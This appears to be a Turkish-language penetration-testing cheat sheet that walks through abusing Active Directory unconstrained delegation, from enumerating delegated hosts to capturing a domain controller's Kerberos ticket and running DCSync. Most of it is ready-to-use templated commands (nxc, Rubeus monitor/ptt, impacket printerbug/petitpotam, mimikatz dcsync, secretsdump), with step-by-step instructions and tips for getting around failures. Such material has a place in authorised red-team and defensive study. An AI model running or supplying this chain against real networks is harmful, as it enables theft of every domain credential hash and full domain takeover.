Unconstrained Delegation (Kısıtlanmamış Yetki Devri) — TGT Yakalama -> DCSync
Unconstrained delegation yetkili bir bilgisayara erişim ele geçirildiğinde, ona kimlik doğrulayan her hesabın TGT'si bellekte saklanır. Rubeus monitor ile TGT toplanır, PrinterBug/PetitPotam ile DC bilgisayar hesabı zorla kimlik doğrulamaya itilir, yakalanan DC TGT ile DCSync yapılır.
- Unconstrained delegation yetkisine sahip bir host üzerinde lokal admin/SYSTEM erişimi (TrustedForDelegation bayrağı)
- DC ile ağ erişimi (88/TCP Kerberos, 445/TCP coerce için)
- Saat kayması (clock skew) DC ile < 5 dakika olmalı
Komutlar
nxc ldap {{DC_IP}} -u {{USER}} -p {{PASS}} --trusted-for-delegation Get-DomainComputer -Unconstrained -Properties dnshostname,useraccountcontrol ldapsearch -x -H ldap://{{DC_IP}} -D "{{USER}}@{{DOMAIN}}" -w '{{PASS}}' -b "DC={{DOMAIN}},DC=local" "(userAccountControl:1.2.840.113556.1.4.803:=524288)" sAMAccountName dNSHostName Rubeus.exe monitor /interval:5 /filteruser:{{DC_HOST}}$ /nowrap Rubeus.exe dump /service:krbtgt /nowrap impacket-printerbug '{{DOMAIN}}/{{USER}}:{{PASS}}'@{{DC_IP}} {{LHOST}} impacket-petitpotam -d {{DOMAIN}} -u {{USER}} -p {{PASS}} {{LHOST}} {{DC_IP}} Rubeus.exe ptt /ticket:doIF...base64TGT... lsadump::dcsync /domain:{{DOMAIN}} /user:{{DOMAIN}}\krbtgt KRB5CCNAME=dc.ccache impacket-secretsdump -k -no-pass '{{DOMAIN}}/{{DC_HOST}}$@{{DC_HOST}}' -just-dc-user krbtgt Unconstrained Delegation Nedir
Kısıtlanmamış yetki devri (unconstrained delegation), bir bilgisayar veya hesabın userAccountControl alanında TRUSTED_FOR_DELEGATION (0x80000 / 524288) bayrağının açık olmasıdır. Bu host’a Kerberos ile kimlik doğrulayan her kullanıcı, kendi TGT’sinin bir kopyasını bu host’a forwardable olarak gönderir. Host bu TGT’yi LSASS belleğinde saklar ve kullanıcı adına herhangi bir servise erişebilir. Saldırgan bu host’u (SYSTEM yetkisiyle) ele geçirirse, bellekteki tüm TGT’leri çalabilir. Asıl güç, bir Domain Controller’ın bilgisayar hesabını coerce ile bu host’a auth ettirip DC$ TGT’sini yakalayıp DCSync’e dönüştürmektir.
Neden Tehlikeli
DC bilgisayar hesabı (DC$), domain üzerinde DS-Replication-Get-Changes haklarına sahiptir. DC$ TGT’sini eline geçiren saldırgan DCSync ile krbtgt dahil tüm hash’leri replike edebilir, bu da tam domain ele geçirmesi (Domain Admin) demektir.
Adımlar
- Enum: Domain genelinde unconstrained delegation’a sahip non-DC bilgisayarları bul (netexec —trusted-for-delegation veya PowerView Get-DomainComputer -Unconstrained). DC’ler her zaman bu listede olur, hedef ilginç olan üye sunuculardır.
- Erişim: Hedef unconstrained host üzerinde lokal admin/SYSTEM erişimi sağla (ayrı bir privesc zinciri).
- Monitor başlat: Rubeus monitor /interval:5 /filteruser:DC$ ile gelen TGT’leri dinle. Bunu coerce’den ÖNCE başlat.
- Coerce: Linux tarafından impacket-printerbug veya impacket-petitpotam ile DC’yi, host’un FQDN/IP’sine (LHOST) auth ettir. Spooler servisi kapalıysa PetitPotam (MS-EFSR) dene.
- Yakala ve enjekte: Rubeus monitor çıktısındaki base64 DC$ TGT’sini Rubeus ptt ile oturuma yükle (veya Linux’ta ticketConverter ile ccache yap).
- DCSync: DC$ bağlamında mimikatz lsadump::dcsync veya impacket-secretsdump -k ile krbtgt/Administrator hash’ini çek.
Gotcha’lar
- Saat kayması: Kerberos KRB_AP_ERR_SKEW hatası için DC ile saat farkı 5 dakikadan az olmalı; Linux’ta ntpdate/sudo ntpdate {{DC_IP}} veya rdate kullan.
- filteruser: monitor’u DC$ ile filtreleyerek sadece bilgisayar hesabı biletini yakala; computer TGT’leri makine resource SID’leri içerdiğinden coerce sonrası mutlaka gelir.
- LHOST formatı: Coerce hedefi (listener) unconstrained host olmalı; o host DNS’te FQDN ile çözülebilmeli, aksi halde Kerberos yerine NTLM düşebilir ve TGT yakalanmaz.
- Spooler: PrinterBug için DC’de Print Spooler servisi açık olmalı; kapalıysa PetitPotam/Coercer ile MS-EFSR, MS-DFSNM gibi alternatif coerce metodlarına geç.
- DCSync için: Yakalanan TGT bir computer hesabına ait; DC computer hesapları zaten replikasyon haklarına sahiptir, normal bir üye sunucu TGT’si DCSync yapamaz.